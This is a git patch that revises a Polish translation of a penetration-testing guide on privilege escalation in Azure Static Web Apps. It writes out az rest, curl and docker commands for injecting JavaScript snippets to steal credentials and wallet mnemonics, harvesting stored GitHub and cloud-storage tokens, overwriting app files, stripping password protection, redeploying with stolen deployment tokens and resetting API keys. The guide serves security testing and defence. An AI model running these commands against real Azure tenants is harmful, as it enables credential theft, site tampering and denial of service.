From fe49784045066e222c1a81542534d641a34b28fa Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 18 Jan 2026 11:54:36 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala --- .../az-static-web-apps-privesc.md | 66 ++++++++++--------- 1 file changed, 36 insertions(+), 30 deletions(-) diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md index f9fd8ca04..930eecb92 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md @@ -4,7 +4,7 @@ ## Azure Static Web Apps -Aby uzyskać więcej informacji na temat tej usługi, sprawdź: +Aby uzyskać więcej informacji o tej usłudze, zobacz: {{#ref}} ../az-services/az-static-web-apps.md @@ -12,9 +12,9 @@ Aby uzyskać więcej informacji na temat tej usługi, sprawdź: ### Microsoft.Web/staticSites/snippets/write -Możliwe jest załadowanie dowolnego kodu HTML na statycznej stronie internetowej poprzez utworzenie fragmentu. Może to pozwolić atakującemu na wstrzyknięcie kodu JS do aplikacji internetowej i kradzież wrażliwych informacji, takich jak dane logowania lub klucze mnemoniczne (w portfelach web3). +Możliwe jest sprawienie, że statyczna strona załaduje dowolny kod HTML poprzez utworzenie snippet. To może pozwolić atakującemu na wstrzyknięcie kodu JS do web app i kradzież wrażliwych informacji, takich jak poświadczenia czy mnemonic keys (w web3 wallets). -Poniższe polecenie tworzy fragment, który zawsze będzie ładowany przez aplikację internetową:: +Poniższe polecenie tworzy snippet, który będzie zawsze ładowany przez web app:: ```bash az rest \ --method PUT \ @@ -31,22 +31,22 @@ az rest \ } }' ``` -### Odczytaj skonfigurowane dane uwierzytelniające stron trzecich +### Odczyt skonfigurowanych poświadczeń stron trzecich -Jak wyjaśniono w sekcji App Service: +As explained in the App Service section: {{#ref}} ../az-privilege-escalation/az-app-services-privesc.md {{#endref}} -Uruchamiając następujące polecenie, można **odczytać dane uwierzytelniające stron trzecich** skonfigurowane w bieżącym koncie. Należy zauważyć, że jeśli na przykład jakieś dane uwierzytelniające Github są skonfigurowane w innym użytkowniku, nie będziesz w stanie uzyskać dostępu do tokena z innego. +Uruchamiając poniższe polecenie, można **odczytać poświadczenia stron trzecich** skonfigurowane na bieżącym koncie. Zauważ, że jeśli na przykład niektóre poświadczenia Github są skonfigurowane dla innego użytkownika, nie będziesz w stanie uzyskać dostępu do tokena z innego konta. ```bash az rest --method GET \ --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01" ``` -To polecenie zwraca tokeny dla Github, Bitbucket, Dropbox i OneDrive. +Ta komenda zwraca tokeny dla Github, Bitbucket, Dropbox i OneDrive. -Oto kilka przykładów poleceń do sprawdzenia tokenów: +Poniżej znajdują się przykłady poleceń do sprawdzenia tokenów: ```bash # GitHub – List Repositories curl -H "Authorization: token " \ @@ -69,14 +69,14 @@ curl -H "Authorization: Bearer " \ -H "Accept: application/json" \ https://graph.microsoft.com/v1.0/me/drive/root/children ``` -### Overwrite file - Overwrite routes, HTML, JS... +### Nadpisanie pliku - Nadpisanie tras, HTML, JS... -Możliwe jest **nadpisanie pliku w repozytorium Github** zawierającym aplikację przez Azure, mając **token Github**, wysyłając żądanie takie jak poniższe, które wskaże ścieżkę pliku do nadpisania, zawartość pliku oraz wiadomość o commicie. +Jest możliwe **nadpisanie pliku w repozytorium Github** zawierającego aplikację poprzez Azure posiadający **Github token**, wysyłając żądanie takie jak poniższe, które określi ścieżkę pliku do nadpisania, zawartość pliku oraz wiadomość commita. -Może to być wykorzystywane przez atakujących do zasadniczo **zmiany zawartości aplikacji webowej** w celu serwowania złośliwej zawartości (kradzież poświadczeń, kluczy mnemonicznych...) lub po prostu do **przekierowywania niektórych ścieżek** na własne serwery poprzez nadpisanie pliku `staticwebapp.config.json`. +To może być wykorzystane przez atakujących, aby de facto **zmienić zawartość aplikacji webowej** w celu serwowania złośliwych treści (kradzież poświadczeń, słów mnemonicznych...) lub po prostu **przekierować określone ścieżki** na ich własne serwery poprzez nadpisanie pliku `staticwebapp.config.json`. > [!WARNING] -> Zauważ, że jeśli atakujący zdoła w jakikolwiek sposób skompromitować repozytorium Github, mogą również bezpośrednio nadpisać plik z Github. +> Zauważ, że jeśli atakujący zdoła w jakikolwiek sposób przejąć repozytorium Github, mogą oni także nadpisać plik bezpośrednio z Github. ```bash curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \ -H "Content-Type: application/json" \ @@ -99,7 +99,7 @@ curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \ ``` ### Microsoft.Web/staticSites/config/write -Dzięki temu uprawnieniu możliwe jest **zmodyfikowanie hasła** chroniącego statyczną aplikację webową lub nawet usunięcie ochrony z każdego środowiska, wysyłając żądanie takie jak poniższe: +Dzięki temu uprawnieniu można **zmienić hasło** chroniące static web app lub nawet usunąć ochronę ze wszystkich środowisk, wysyłając żądanie takie jak poniższe: ```bash # Change password az rest --method put \ @@ -133,32 +133,38 @@ az rest --method put \ ``` ### Microsoft.Web/staticSites/listSecrets/action -To uprawnienie pozwala na uzyskanie **tokena klucza API do wdrożenia** dla aplikacji statycznej: +To uprawnienie pozwala pobrać **API key deployment token** dla aplikacji statycznej. + +Używając az rest: ```bash az rest --method POST \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//listSecrets?api-version=2023-01-01" ``` -Aby **zaktualizować aplikację za pomocą tokena**, możesz uruchomić następujące polecenie. Zauważ, że to polecenie zostało wyciągnięte z analizy **jak działa Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy)**, ponieważ jest to domyślne ustawienie Azure. Obraz i parametry mogą się zmienić w przyszłości. +Korzystanie z AzCLI: +```bash +az staticwebapp secrets list --name --resource-group +``` +Następnie, aby **zaktualizować aplikację używając tokena** możesz uruchomić następujące polecenie. Zwróć uwagę, że to polecenie zostało wyciągnięte poprzez sprawdzenie, jak działa Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy), ponieważ to właśnie ten, który Azure ustawił domyślnie do użycia. Zatem obraz i parametry mogą zmienić się w przyszłości. > [!TIP] -> Aby wdrożyć aplikację, możesz użyć narzędzia **`swa`** z [https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token) lub postępować zgodnie z następującymi krokami: +> Aby wdrożyć aplikację możesz użyć narzędzia **`swa`** z [https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token) lub wykonać następujące kroki: -1. Pobierz repozytorium [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (lub inne repozytorium, które chcesz wdrożyć) i uruchom `cd react-basic`. -2. Zmień kod, który chcesz wdrożyć. -3. Wdróż go, uruchamiając (pamiętaj, aby zmienić ``): +1. Pobierz repozytorium [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (lub dowolne inne repo, które chcesz wdrożyć) i uruchom `cd react-basic`. +2. Zmień kod, który chcesz wdrożyć +3. Wdróż je uruchamiając (pamiętaj, aby zmienić ``): ```bash docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN= INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose ``` > [!WARNING] -> Nawet jeśli masz token, nie będziesz w stanie wdrożyć aplikacji, jeśli **Polityka Autoryzacji Wdrożenia** jest ustawiona na **Github**. Aby użyć tokena, będziesz potrzebować uprawnienia `Microsoft.Web/staticSites/write`, aby zmienić metodę wdrożenia na użycie tokena API. +> Nawet jeśli posiadasz token, nie będziesz w stanie wdrożyć aplikacji, jeśli **Deployment Authorization Policy** jest ustawiona na **Github**. Aby użyć tokenu, będziesz potrzebować uprawnienia `Microsoft.Web/staticSites/write`, aby zmienić metodę wdrożenia i użyć tokenu API. ### Microsoft.Web/staticSites/write -Dzięki temu uprawnieniu możliwe jest **zmienienie źródła statycznej aplikacji webowej na inne repozytorium Github**, jednak nie zostanie to automatycznie zrealizowane, ponieważ musi to być zrobione z poziomu Github Action. +Z tym uprawnieniem możliwe jest **zmienienie źródła static web app na inne repozytorium Github**, jednak nie zostanie ono automatycznie sprovisionowane, ponieważ musi to zostać wykonane z poziomu Github Action. -Jednakże, jeśli **Polityka Autoryzacji Wdrożenia** jest ustawiona na **Github**, możliwe jest **aktualizowanie aplikacji z nowego repozytorium źródłowego!**. +Jednak jeśli **Deployment Authorization Policy** jest ustawiona na **Github**, możliwe jest **zaktualizowanie aplikacji z nowego repozytorium źródłowego!**. -W przypadku, gdy **Polityka Autoryzacji Wdrożenia** nie jest ustawiona na Github, możesz ją zmienić za pomocą tego samego uprawnienia `Microsoft.Web/staticSites/write`. +W przypadku gdy **Deployment Authorization Policy** nie jest ustawiona na Github, możesz ją zmienić przy użyciu tego samego uprawnienia `Microsoft.Web/staticSites/write`. ```bash # Change the source to a different Github repository az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main @@ -181,7 +187,7 @@ az rest --method PATCH \ } }' ``` -Przykładowa akcja Github do wdrożenia aplikacji: +Przykładowy Github Action do wdrożenia aplikacji: ```yaml name: Azure Static Web Apps CI/CD @@ -244,16 +250,16 @@ action: "close" ``` ### Microsoft.Web/staticSites/resetapikey/action -Dzięki temu uprawnieniu możliwe jest **zresetowanie klucza API statycznej aplikacji webowej**, co może potencjalnie spowodować DoS dla procesów automatycznie wdrażających aplikację. +Dzięki temu uprawnieniu możliwe jest **zresetować API key dla static web app**, co może potencjalnie DoSing workflows, które automatycznie deployują aplikację. ```bash az rest --method POST \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//resetapikey?api-version=2019-08-01" ``` ### Microsoft.Web/staticSites/createUserInvitation/action -To uprawnienie pozwala na **utworzenie zaproszenia dla użytkownika** do uzyskania dostępu do chronionych ścieżek wewnątrz statycznej aplikacji webowej z określoną rolą. +To uprawnienie pozwala **utworzyć zaproszenie dla użytkownika**, aby uzyskał on dostęp do chronionych ścieżek wewnątrz static web app z określoną rolą. -Logowanie znajduje się w ścieżce takiej jak `/.auth/login/github` dla github lub `/.auth/login/aad` dla Entra ID, a użytkownik może być zaproszony za pomocą następującego polecenia: +Logowanie znajduje się pod ścieżką taką jak `/.auth/login/github` dla github lub `/.auth/login/aad` dla Entra ID, a użytkownika można zaprosić za pomocą następującego polecenia: ```bash az staticwebapp users invite \ --authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \ @@ -266,12 +272,12 @@ az staticwebapp users invite \ ``` ### Pull Requests -Domyślnie Pull Requests z gałęzi w tym samym repozytorium będą automatycznie kompilowane i budowane w środowisku staging. Może to być nadużywane przez atakującego z dostępem do zapisu w repozytorium, ale bez możliwości obejścia ochrony gałęzi produkcyjnej (zwykle `main`), aby **wdrożyć złośliwą wersję aplikacji** w URL staging. +Domyślnie Pull Requests z gałęzi w tym samym repo zostaną automatycznie skompilowane i zbudowane w środowisku staging. To może być wykorzystane przez atakującego mającego uprawnienia do zapisu w repo, ale niezdolnego do obejścia ochrony gałęzi produkcyjnej (zwykle `main`), aby **wdrożyć złośliwą wersję aplikacji** pod adresem URL środowiska staging. -URL staging ma ten format: `https://-..` jak: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net` +The staging URL has this format: `https://-..` like: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net` > [!TIP] -> Zauważ, że domyślnie zewnętrzne PR-y nie uruchomią workflow, chyba że połączą przynajmniej 1 PR z repozytorium. Atakujący mógłby wysłać ważny PR do repozytorium, a **następnie wysłać złośliwy PR** do repozytorium, aby wdrożyć złośliwą aplikację w środowisku staging. JEDNAK istnieje niespodziewana ochrona, domyślna akcja Github do wdrażania w statycznej aplikacji webowej potrzebuje dostępu do sekretu zawierającego token wdrożeniowy (jak `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`), nawet jeśli wdrożenie jest realizowane za pomocą IDToken. Oznacza to, że ponieważ zewnętrzny PR nie będzie miał dostępu do tego sekretu, a zewnętrzny PR nie może zmienić Workflow, aby umieścić tutaj dowolny token bez zaakceptowania PR, **ten atak naprawdę nie zadziała**. +> Zauważ, że domyślnie external PRs nie uruchamiają workflows, chyba że wcześniej scalono przynajmniej 1 PR w repozytorium. Atakujący mógłby wysłać prawidłowy PR do repo, a następnie **wysłać złośliwy PR**, aby wdrożyć złośliwą aplikację w środowisku staging. JEDNAK istnieje nieoczekiwana ochrona: domyślny Github Action do deployowania do static web app wymaga dostępu do secret zawierającego token deploy (np. `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`) nawet jeśli deploy jest wykonywany przy użyciu IDToken. Oznacza to, że ponieważ external PR nie będzie miał dostępu do tego secret i external PR nie może zmienić Workflow, aby umieścić tam dowolny token bez zaakceptowania PR, **ten atak w praktyce nie zadziała**. {{#include ../../../banners/hacktricks-training.md}}